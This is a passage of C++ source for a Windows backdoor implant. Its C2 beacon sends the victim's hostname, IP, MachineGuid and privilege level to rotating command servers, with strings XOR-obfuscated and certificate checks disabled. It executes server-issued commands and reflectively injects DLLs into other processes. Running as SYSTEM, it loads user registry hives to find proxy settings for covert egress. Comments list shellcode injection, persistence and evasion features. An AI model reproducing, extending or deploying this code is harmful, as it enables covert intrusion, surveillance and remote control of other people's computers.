int enc[] = {52,63,50,108};
urlVars.append(decryptString(enc, (sizeof(enc)/sizeof(int))));
// 123spec!alk3y456
int postCode[] = {96,99,98,34,33,52,50,112,48,61,58,98,40,101,100,103};
urlVars.append(decryptString(postCode, (sizeof(postCode)/sizeof(int))));
//HOSTNAME
// &hn=
int hn[] = {119,57,63,108};
urlVars.append(decryptString(hn, (sizeof(hn)/sizeof(int))));
temp = getHostName();
urlVars.append(temp);
//IP ADDRESS
// &num=
int ip[] = {119,63,36,60,108};
urlVars.append(decryptString(ip, sizeof(ip)/sizeof(int)));
WSADATA wsa_Data;
int wsa_ReturnCode = WSAStartup(0x101,&wsa_Data);
//NEXT, TO GET THE LOCAL HOST NAME
char szHostName[255];
gethostname(szHostName, 255);
//WITH THIS STEP COMPLETE, ALL THAT REMAINS IS TO POPULATE A HOST ENTRY STRUCTURE WHICH WILL CONTAIN ALL THE IP RELATED INFORMATION FOR THIS MACHINE:
struct hostent *host_entry;
host_entry=gethostbyname(szHostName);
//THE HOSTENT STRUCTURE IS NOT IMMEDIATELY USEFUL, HOWEVER. IT CONTAINS A LIST OF ALL THE ADAPTERS IN A MEMBER CALLED H_ADDR_LIST, WHICH IS A NULL TERMINATED LIST OF ADDRESSES. WE ASSUME THAT THE ONE WE WANT IS IN H_ADDR_LIST[0], FOR THE SAKE OF CLARITY. THIS VALUE CAN BE CONVERTED TO A STRING BY USING THE INET_NTOA FUNCTION:
char *szLocalIP = NULL;
szLocalIP = inet_ntoa(*(struct in_addr *)*host_entry->h_addr_list);
//NOW APPEND LOCAL IP
//CONVERT WIDE TO CHAR
wchar_t *wszTo = NULL;
wszTo = new wchar_t[strlen(szLocalIP) + 1];
memset(wszTo, 0, strlen(szLocalIP) + 1);
MultiByteToWideChar(CP_ACP, 0, szLocalIP, -1, wszTo, strlen(szLocalIP) + 1);
urlVars.append(wszTo);
if(wszTo) delete wszTo;
//HAVING OBTAINED THE INFORMATION WE NEED, WE CAN NOW SHUT DOWN THE WINSOCK LIBRARY:
WSACleanup();
//IMPLANT ID
HKEY hKey;
//PULL OUT MACHINE ID
hKey = regOpenKey(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Cryptography", KEY_QUERY_VALUE);
if(hKey != NULL)
{
//DON'T CLEAR IT - id WILL BE HOSTNAME WITH MachineGuid APPENDED
temp.append(regQueryValue(hKey, L"MachineGuid"));
RegCloseKey(hKey);
}
else
{
temp.append(L"GUIDERROR");
}
//ID IS THE MACHINEGUID...OR THE HOSTNAME IF MACHINEGUID DOESN'T COME BACK
// &id=
int id[] = {119,56,53,108};
urlVars.append(decryptString(id, (sizeof(id)/sizeof(int))));
urlVars.append(temp);
temp.clear();
//RETURN PRIVILEGES
// &pp=
int pp[] = {119,33,33,108};
urlVars.append(decryptString(pp, (sizeof(pp)/sizeof(int))));
if(adminPrivs == 1) urlVars.append(L"1");
else if(adminPrivs == 0) urlVars.append(L"0");
//IMPLANT VERSION
// &vn=
int vn[] = {119,39,63,108};
urlVars.append(decryptString(vn, (sizeof(vn)/sizeof(int))));
//2.50
int vnNum[] = {99,127,100,97};
urlVars.append(decryptString(vnNum, (sizeof(vnNum)/sizeof(int))));
}
catch(...)
{
ret = 1;
}
return ret;
}
void runLoop()
{
//FIND A WAY OUT!!
//OutputDebugString(L"GET OUT!");
WINHTTPCONNECT hConnect;
hConnect.connectionNumber = 0; //DEFAULT TO FIRST ELEMENT IN ARRAY
hConnect.connectionValid = false; //DEFAULT TO INVALID CONNECTION - TO SETUP INITIAL CONNECTION
hConnect.connectionType = 0; //DEFAULT TO DIRECT CONNECTION
hConnect.proxyConfig = L""; //INITIALIZE PROXY CONFIG
hConnect.sUrl = L""; //INITIALIZE LP URL
//LOOP UNTIL WE FIND A WAY OUT!
while(true)
{
//FIND PROXY INFORMATION FOR CONNECTION
if(findProxyConfig(hConnect) == true) break;
//CONNECTION TYPE OF 5 MEANS THERE IS NO CONNECTION...KEEP LOOPING
if(hConnect.connectionType != 5) break;
//TRY THE NEXT DNS ENTRY IN THE ARRAY
//OutputDebugString(L"TRYING NEXT DNS LP");
hConnect.connectionNumber++;
//SLEEP BEFORE NEXT ATTEMPT
sleepDelay(DNSERROR);
}
//OutputDebugString(L"FOUND A WAY OUT");
while(true)
{
wstring htmlKey;
bool repeat = 0;
int val = 0;
if(RCONNECTION == 1)
{
//MAKE RANDOM SELECTION FROM ARRAY
hConnect.connectionNumber = rand() % DNSARRAY;
setupConnection(hConnect);
}
//RETRIVE KEY FROM HTML
htmlKey = retrieveData(hConnect);
//RETURNS -1 IF ERROR OCCURRED CONNECTING
if(htmlKey == L"-1")
{
//SET CONNECTION STATUS TO FALSE
hConnect.connectionValid = false;
bool t = false;
//TEST THE CONNECTION UNTIL WE GET OUT
while(t == false)
{
//TRY THE NEXT DNS ENTRY IN THE ARRAY
//OutputDebugString(L"INCREMENTING DNSARRAY");
hConnect.connectionNumber++;
//RESET DNS COUNT IF WE HIT THE MAX
if((hConnect.connectionNumber) >= DNSARRAY)
{
//OutputDebugString(L"RESETTING DNSCOUNT");
hConnect.connectionNumber = 0;
}
//ATTEMPTING RECONNECTION
//OutputDebugString(L"ATTEMPTING RECONNECTION");
//OutputDebugString(hConnect.sUrl.c_str());
//OutputDebugString(hConnect.proxyConfig.c_str());
//TEST THE NEXT DNS LP
t = setupConnection(hConnect);
//SLEEP BETWEEN EACH ATTEMPT
sleepDelay(DNSERROR);
}
//SLEEP AFTER FINDING NEW DNS THAT WORKS...SO IT DOESN'T GET BURNED IMMEDIATELY
sleepDelay(DNSERROR);
//SET VAL TO 999 SO WE DON'T SLEEP AGAIN BELOW
val = 999;
}
//PARSE THE KEY AND CARRY OUT COMMAND
if(htmlKey.length() > 8 && htmlKey.length() < 500)
{
try
{
//SUBTRACT TO GET TO CORRECT POSITION
int t = _wtoi(htmlKey.substr(htmlKey.length() - 3, htmlKey.length() - 2).c_str());
//REPEAT IF MORE COMMANDS ARE QUEUED
if(t == 1) repeat = true;
else repeat = false;
val = parseRequest(htmlKey, hConnect);
}
catch(...)
{
sendData(hConnect, L"10", L"EXCEPTION");
}
}
//NO SLEEP CUZ WE JUST ITERATED THROUGH LPs WHICH TAKES A WHILE
if(val == 999)
{
val = 0;
continue;
}
//NO COMMANDS LEFT, NORMAL SLEEP
if(repeat == false) sleepDelay(DEFAULTTIMEOUT);
//MORE COMMANDS, SHORT SLEEP
else sleepDelay(SHORTTIMEOUT);
}
}
wstring checkAutoConfigURL(HKEY hKey, LPCTSTR extraPath)
{
HKEY keyHandle;
wstring retString = L"";
//APPEND ANY EXTRA PATH...NEEDED WHEN RUNNING AS SYSTEM AND MOUNTING THE USER PROFILE OUTSIDE THE DEFAULT LOCATION
wstring subKey = extraPath;
if(wcslen(extraPath) > 1) subKey.append(L"\\");
// Software\Microsoft\Windows\CurrentVersion\Internet Settings
int subKeyCode[] = {2,62,55,37,38,48,35,52,13,28,56,50,35,62,34,62,55,37,13,6,56,63,53,62,38,34,13,18,36,35,35,52,63,37,7,52,35,34,56,62,63,13,24,63,37,52,35,63,52,37,113,2,52,37,37,56,63,54,34};
subKey.append(decryptString(subKeyCode, (sizeof(subKeyCode)/sizeof(int))));
// AutoConfigURL
int autoConfigURLCode[] = {16,36,37,62,18,62,63,55,56,54,4,3,29};
wstring autoConfigURL = decryptString(autoConfigURLCode, (sizeof(autoConfigURLCode)/sizeof(int)));
//OPEN PROXY REGISTRY KEYS
keyHandle = regOpenKey(hKey, subKey.c_str(), KEY_QUERY_VALUE);
if(keyHandle != NULL)
{
//PULL OUT AUTO CONFIG URL AND RETURN IT
retString = regQueryValue(keyHandle, autoConfigURL.c_str());
RegCloseKey(keyHandle);
}
return retString;
}
wstring checkProxyEnable(HKEY hKey, LPCTSTR extraPath)
{
HKEY keyHandle;
wstring retString = L"";
//APPEND ANY EXTRA PATH...NEEDED WHEN RUNNING AS SYSTEM AND MOUNTING THE USER PROFILE OUTSIDE THE DEFAULT LOCATION
wstring subKey = extraPath;
if(wcslen(extraPath) > 1) subKey.append(L"\\");
// Software\Microsoft\Windows\CurrentVersion\Internet Settings
int subKeyCode[] = {2,62,55,37,38,48,35,52,13,28,56,50,35,62,34,62,55,37,13,6,56,63,53,62,38,34,13,18,36,35,35,52,63,37,7,52,35,34,56,62,63,13,24,63,37,52,35,63,52,37,113,2,52,37,37,56,63,54,34};
subKey.append(decryptString(subKeyCode, (sizeof(subKeyCode)/sizeof(int))));
// ProxyEnable
int proxyEnableCode[] = {1,35,62,41,40,20,63,48,51,61,52};
wstring proxyEnable = decryptString(proxyEnableCode, (sizeof(proxyEnableCode)/sizeof(int)));
keyHandle = regOpenKey(hKey, subKey.c_str(), KEY_QUERY_VALUE);
if(keyHandle != NULL)
{
DWORD peType;
DWORD peSize = sizeof(DWORD);
DWORD peData;
//CHECK IF PROXY IS ENABLED
if(RegQueryValueEx(keyHandle, proxyEnable.c_str(), 0, &peType, (LPBYTE)&peData, &peSize) == ERROR_SUCCESS)
{
//PROXY IS ENABLED! GRAB SETTINGS!
if(peData == 1)
{
// ProxyServer
int proxyServerCode[] = {1,35,62,41,40,2,52,35,39,52,35};
wstring proxyServer = decryptString(proxyServerCode, (sizeof(proxyServerCode)/sizeof(int)));
//PULL OUT PROXY SETTINGS
retString = regQueryValue(keyHandle, proxyServer.c_str());
}
}
RegCloseKey(keyHandle);
}
//PROXY IS NOT ENABLED OR UNABLE TO RETRIEVE SETTINGS
return retString;
}
bool testConnection(WINHTTPCONNECT &hConnect)
{
//ATTEMPT HTTPS CONNECTION FIRST
WinHttpClient hClient(hConnect.sUrl);
//INCLUDE NO CACHE HEADERS SO PROXY SERVER DOESN'T RETURN CACHED CONTENT
hClient.SetAdditionalRequestHeaders(L"Pragma: no-cache\r\n");
//DON'T REQUIRE VALID CERT
hClient.SetRequireValidSslCertificates(false);
//SET PROXY CONFIGURATION
setProxyConfig(hClient, hConnect);
//OutputDebugString(L"ATTEMPTING TO CONTACT LP");
//OutputDebugString(hConnect.sUrl.c_str());
//ATTEMPT TO GET OUT
hClient.SendHttpRequest();
//IF CONTENT SIZE IS > 0 THEN IT WORKS!
if(hClient.m_statusCode == L"200" || hClient.m_statusCode == L"403")
{
//OutputDebugString(L"CONNECTION TO LP SUCCESSFUL");
hConnect.connectionValid = true;
return true;
}
else
{
//OutputDebugString(L"STATUS NOT 200");
//OutputDebugString(hClient.m_statusCode.c_str());
}
/*
if(hClient.m_statusCode == L"401")
{
//OutputDebugString(L"SETTING AUTOLOGON POLICY AND RETRYING");
WinHttpSetOption(hClient.m_sessionHandle, WINHTTP_OPTION_AUTOLOGON_POLICY, (LPVOID)WINHTTP_AUTOLOGON_SECURITY_LEVEL_LOW, sizeof(int));
hClient.SendHttpRequest();
if(hClient.m_statusCode == L"200")
{
//OutputDebugString(L"IT WORKS...ROCK ON!");
hConnect.connectionValid = true;
}
else
{
//OutputDebugString(L"STILL FAILED! I SUCK AGAIN!");
}
}
*/
return false;
}
bool setupConnection(WINHTTPCONNECT &hConnect)
{
//SETUP LP URL
hConnect.sUrl = decryptString(DNSCODE[hConnect.connectionNumber], (sizeof(DNSCODE[hConnect.connectionNumber])/sizeof(int)));
//IF THE CONNECTION IS NOT CURRENTLY VALID, THEN LET'S TEST THE NEW ONE
if(hConnect.connectionValid == false)
{
if(testConnection(hConnect) == true) return true;
}
//IF THE CONNECTION IS CURRENTLY VALID THEN WE'RE USING RANDOM LP SELECTION...JUST USE FIRST LP AND MOVE ON
else
{
return true;
}
return false;
/*
int count = 0;
while(count < 2)
{
if(PCONNECTION == 0 && count == 0 || PCONNECTION == 1 && count == 1)
{
//SETUP THE HTTP URL
// http://
int httpAddrCode[] = {57,37,37,33,107,126,126};
//SETUP THE HTTP URL
hConnect.sUrl = decryptString(httpAddrCode, (sizeof(httpAddrCode)/sizeof(int)));
hConnect.sUrl.append(decryptString(DNSCODE[hConnect.connectionNumber], (sizeof(DNSCODE[hConnect.connectionNumber])/sizeof(int))).c_str());
hConnect.sUrl.append(L":");
hConnect.sUrl.append(decryptString(HTTPCODE, (sizeof(HTTPCODE)/sizeof(int))));
}
else
{
//SETUP THE HTTPS URL
// https://
int httpsAddrCode[] = {57,37,37,33,34,107,126,126};
//SETUP THE HTTPS URL
hConnect.sUrl = decryptString(httpsAddrCode, (sizeof(httpsAddrCode)/sizeof(int)));
hConnect.sUrl.append(decryptString(DNSCODE[hConnect.connectionNumber], (sizeof(DNSCODE[hConnect.connectionNumber])/sizeof(int))).c_str());
hConnect.sUrl.append(L":");
hConnect.sUrl.append(decryptString(HTTPSCODE, (sizeof(HTTPSCODE)/sizeof(int))));
}
//IF THE CONNECTION IS NOT CURRENTLY VALID, THEN LET'S TEST THE NEW ONE
if(hConnect.connectionValid == false)
{
if(testConnection(hConnect) == true) return true;
}
//IF THE CONNECTION IS CURRENTLY VALID THEN WE'RE USING RANDOM LP SELECTION...JUST USE FIRST LP AND MOVE ON
else
{
return true;
}
count++;
}
//IF NEITHER WORKED, THEN RETURN FALSE
return false;
**/
}
//REFLECTIVELY LOAD IN-MEMORY DLL
DWORD runReflector(BYTE *dll, DWORD dllLen, DWORD tPid)
{
DWORD pid;
//DWORD tid;
DWORD dwResult = 0;
HANDLE hProcess = NULL;
HANDLE tdHandle = NULL;
HANDLE hModule = NULL;
//BYTE bMessage[32] = {0};
DWORD dwBytes = 0;
//remote->command = "0";
do
{
//NOW LOAD THE DLL
//pid = FindPid("spoolsv.exe");
//if(remote->taskInt == 20) pid = GetCurrentProcessId();
//else pid = FindPid(remote->taskCommand);
//OutputDebugString(remote->taskCommand);
//pid = FindPid(remote->taskCommand);
pid = tPid;
if(pid == 0) { dwResult = 1; break; }
hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, pid);
if(!hProcess)
{
dwResult = 3;
break;
}
//OutputDebugString(L"RUNNING LoadRemoteLibraryR");
//char *test = "HELLO?!?!?!";
hModule = LoadRemoteLibraryR(hProcess, dll, dllLen, 0);
if(!hModule)
{
dwResult = 4;
break;
}
//remote->command = "0";
}while(0);
//OutputDebugString("ALL DONE!!!");
if(hProcess) CloseHandle(hProcess);
if(hModule) CloseHandle(hModule);
return dwResult;
}
//RETURNS A HANDLE TO REGISTRY LOCATION
HKEY regOpenKey(HKEY hKey, LPCTSTR subKey, REGSAM dPriv)
{
HKEY rHandle;
if(RegOpenKeyEx(hKey, subKey, 0, dPriv, &rHandle) == ERROR_SUCCESS) return rHandle;
else return NULL;
}
//RETURNS ONLY STRING REGISTRY VALUES
wstring regQueryValue(HKEY hKey, LPCTSTR valueName)
{
wchar_t data[255] = L"";
DWORD dataSize = 255;
if(RegQueryValueEx(hKey, valueName, NULL, NULL, (LPBYTE)data, &dataSize) == ERROR_SUCCESS) return data;
else return L"";
}
bool findProxyConfig(WINHTTPCONNECT &hConnect)
{
//FORCE TESTING THE PROXY ON DEBUG
#ifndef DEBUGPROXY
//ATTEMPT NORMAL CONNECTION FIRST
//OutputDebugString(L"ATTEMPTING DIRECT CONNECTION");
if(setupConnection(hConnect)) return true;
#endif
//RUNNING AS USER
//ACCESS REGISTRY DIRECTLY FOR PROXY SETTINGS
if(adminPrivs == 0)
{
//OutputDebugString(L"RUNNING AS USER");
wstring t = checkProxyEnable(HKEY_CURRENT_USER, L"");
//PROXY IS ENABLED, SO RETURN PROXYSERVER:PORT
if(t.length() > 1)
{
//OutputDebugString(L"FOUND IP PROXY");
//RETURN PROXY ADDRESS AND CONNECTION TYPE OF 1 = PROXY:PORT
hConnect.proxyConfig = t;
hConnect.connectionType = 1;
//OutputDebugString(t.c_str());
if(setupConnection(hConnect)) return true;
}
//PROXY NOT ENABLED SO TRY AutoConfigURL
t = checkAutoConfigURL(HKEY_CURRENT_USER, L"");
//AUTOCONFIGURL IS ENABLED SO RETURN THE URL
if(t.length() > 1)
{
//OutputDebugString(L"FOUND URL PROXY");
//RETURN PROXY ADDRESS AND CONNECTION TYPE OF 2 = WPAD URL
hConnect.proxyConfig = t;
hConnect.connectionType = 2;
//OutputDebugString(t.c_str());
if(setupConnection(hConnect)) return true;
}
}
//RUNNING AS SYSTEM
//HAVE TO LOAD USER PROFILE
//IT'S THE BEST/MOST COVERT I CAN FIND
else
{
HKEY keyHandle;
//OutputDebugString(L"RUNNING AS SYSTEM");
// SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList
int profileListCode[] = {2,30,23,5,6,16,3,20,13,28,56,50,35,62,34,62,55,37,13,6,56,63,53,62,38,34,113,31,5,13,18,36,35,35,52,63,37,7,52,35,34,56,62,63,13,1,35,62,55,56,61,52,29,56,34,37};
wstring profileList = decryptString(profileListCode, (sizeof(profileListCode)/sizeof(int)));
//GRAB A HANDLE TO THE PROFILE LIST
keyHandle = regOpenKey(HKEY_LOCAL_MACHINE, profileList.c_str(), KEY_READ);
//OutputDebugString(L"FINDING PROFILES");
//OutputDebugString(profileList.c_str());
if(keyHandle != NULL)
{
int dIndex = 0;
wchar_t subKey[255];
DWORD subKeySize = 255;
//OutputDebugString(L"LOOPING THROUGH PROFILES");
//FIRST METHOD TO GET OUT IS ATTEMPT TO LOAD USER PROFILES AND FIND ONE WITH PROXY SETTINGS
//ONLY WORKS ON XP BECAUSE 7 SEPARATES SYSTEM PRIVS AND USER PRIVS
//LOOP THROUGH PROFILE LIST REG KEYS TO FIND A VALID USER TO LOAD THEIR PROFILE FROM HKEY_USERS
while(RegEnumKeyEx(keyHandle, dIndex, subKey, &subKeySize, NULL, NULL, NULL, NULL) == ERROR_SUCCESS)
{
wstring temp = profileList;
temp.append(L"\\");
temp.append(subKey);
//OutputDebugString(subKey);
HKEY keyHandle1 = regOpenKey(HKEY_LOCAL_MACHINE, temp.c_str(), KEY_READ);
if(keyHandle1 != NULL)
{
//FIND USER PROFILE PATH
// ProfileImagePath
int profilePathCode[] = {1,35,62,55,56,61,52,24,60,48,54,52,1,48,37,57};
wstring profilePath = decryptString(profilePathCode, (sizeof(profilePathCode)/sizeof(int)));
//PULL OUT THE USER PROFILE PATH - WHAT WE'RE REALLY AFTER
wstring userProfilePath = regQueryValue(keyHandle1, profilePath.c_str());
// \ntuser.dat
int ntUserDatCode[] = {13,63,37,36,34,52,35,127,53,48,37};
userProfilePath.append(decryptString(ntUserDatCode, (sizeof(ntUserDatCode)/sizeof(int))));
//GETTING PERMISSIONS REQUIRED TO LOAD USER PROFILE
enableSEPrivilege(SE_RESTORE_NAME);
enableSEPrivilege(SE_BACKUP_NAME);
//STUPID WINDOWS...SOMETIMES USES ENV VARIABLE %systemdrive% AND SOMETIMES NOT...WTF?
if(userProfilePath.find(L"%") != -1)
{
wchar_t *aTmp = new wchar_t[userProfilePath.length()+128];
ExpandEnvironmentStrings(userProfilePath.c_str(), aTmp, userProfilePath.length()+128);
userProfilePath.clear();
userProfilePath = aTmp;
delete[] aTmp;
//OutputDebugString(L"EXPANDED ENV VARIABLE");
}
//OutputDebugString(L"ATTEMPTING TO LOAD PROFILE");
//OutputDebugString(userProfilePath.c_str());
bool isProfileLoaded = false;
//ATTEMPT TO LOAD THE USER PROFILE
//THIS WILL FAIL ON VISTA/7...WHICH IS WHY IT ONLY WORKS AFTER A USER LOGS IN
if(RegLoadKey(HKEY_USERS, subKey, userProfilePath.c_str()) == ERROR_SUCCESS)
{
isProfileLoaded = true;
//OutputDebugString(L"LOADED USER PROFILE");
}
#ifdef _DEBUG
else
{
//PRINT DEBUG INFO IF PROFILE FAILS TO LOAD
//OutputDebugString(L"UNABLE TO LOAD USER PROFILE");
wchar_t tmp[25];
DWORD retInt = GetLastError();
_itow(retInt, tmp, 10);
//OutputDebugString(tmp);
}
#endif
//CHECK HKEY_USER SUBKEY FOR IP PROXY
wstring t = checkProxyEnable(HKEY_USERS, subKey);
if(t.length() > 1)
{
//RETURN PROXY ADDRESS AND CONNECTION TYPE OF 3 = PROXY:PORT
//OutputDebugString(L"FOUND IP PROXY");
hConnect.proxyConfig = t;
hConnect.connectionType = 3;
//OutputDebugString(t.c_str());
//IF true IS RETURNED, THEN UNLOAD PROFILE AND RETURN PROXY STRUCT
if(setupConnection(hConnect))
{
if(isProfileLoaded) RegUnLoadKey(HKEY_USERS, subKey);
return true;
}
}
//CHECK HKEY_USER SUBKEY FOR URL PROXY
t = checkAutoConfigURL(HKEY_USERS, subKey);
//AUTOCONFIGURL IS ENABLED SO RETURN THE URL
if(t.length() > 1)
{
//OutputDebugString(L"FOUND URL PROXY");
//RETURN PROXY ADDRESS AND CONNECTION TYPE OF 4 = WPAD URL
hConnect.proxyConfig = t;
hConnect.connectionType = 4;
//OutputDebugString(t.c_str());
//IF true IS RETURNED, THEN UNLOAD PROFILE AND RETURN PROXY STRUCT
if(setupConnection(hConnect))
{
if(isProfileLoaded) RegUnLoadKey(HKEY_USERS, subKey);
return true;
}
}
//UNLOAD PROFILE IF LOADED
if(isProfileLoaded) RegUnLoadKey(HKEY_USERS, subKey);
//CLOSE KEY HANDLE
RegCloseKey(keyHandle1);
}
//RESET ALL SUBKEYS FOR LOOP
subKey[0] = '\0';
subKeySize = 255;
dIndex++;
}
RegCloseKey(keyHandle);
}
#ifdef DEBUG
else
{
//OutputDebugString(L"PROFILE REGISTRY HANDLE IS NULL!");
//PRINT DEBUG INFO IF UNABLE TO GET PRIVS
wchar_t tmp[25];
DWORD retInt = GetLastError();
_itow(retInt, tmp, 10);
//OutputDebugString(tmp);
}
#endif
}
//UH OH...NO CONNECTION
//OutputDebugString(L"DIDN'T GET OUT");
//CONNECTION TYPE OF 5 = NO CONNECTION
hConnect.connectionType = 5;
return false;
}
//99 = implant error!
//15 = operation not supported
//14 = failed to get pid of explorer.exe
//13 = failed to inject shellcode
//12 = install service failed
//11 = uninstall failed
//10 = malformed data
//9 = error creating task
//8 = created process is still running or returned no output
//7 = error encoding data
//6 = upgrade failed
//5 = failed to install persistence in the registry
//4 = failed to update callback time
//3 = download failed
//2 = dll failed to load
//1 = no key found in html
//0 = operation completed successfully
//TO DO
//1 - Add XOR Obfuscation to POST variable - DONE
//2 - Dyanmic API lookup for shellcode injection
//3 - Load EXE if exists in certain place - DONE
//4 - Remove ADMIN startup path in main.
//- Attempt to create service...if it fails go on, if its successful start it
//5 - ACCEPT %appdata% FROM LP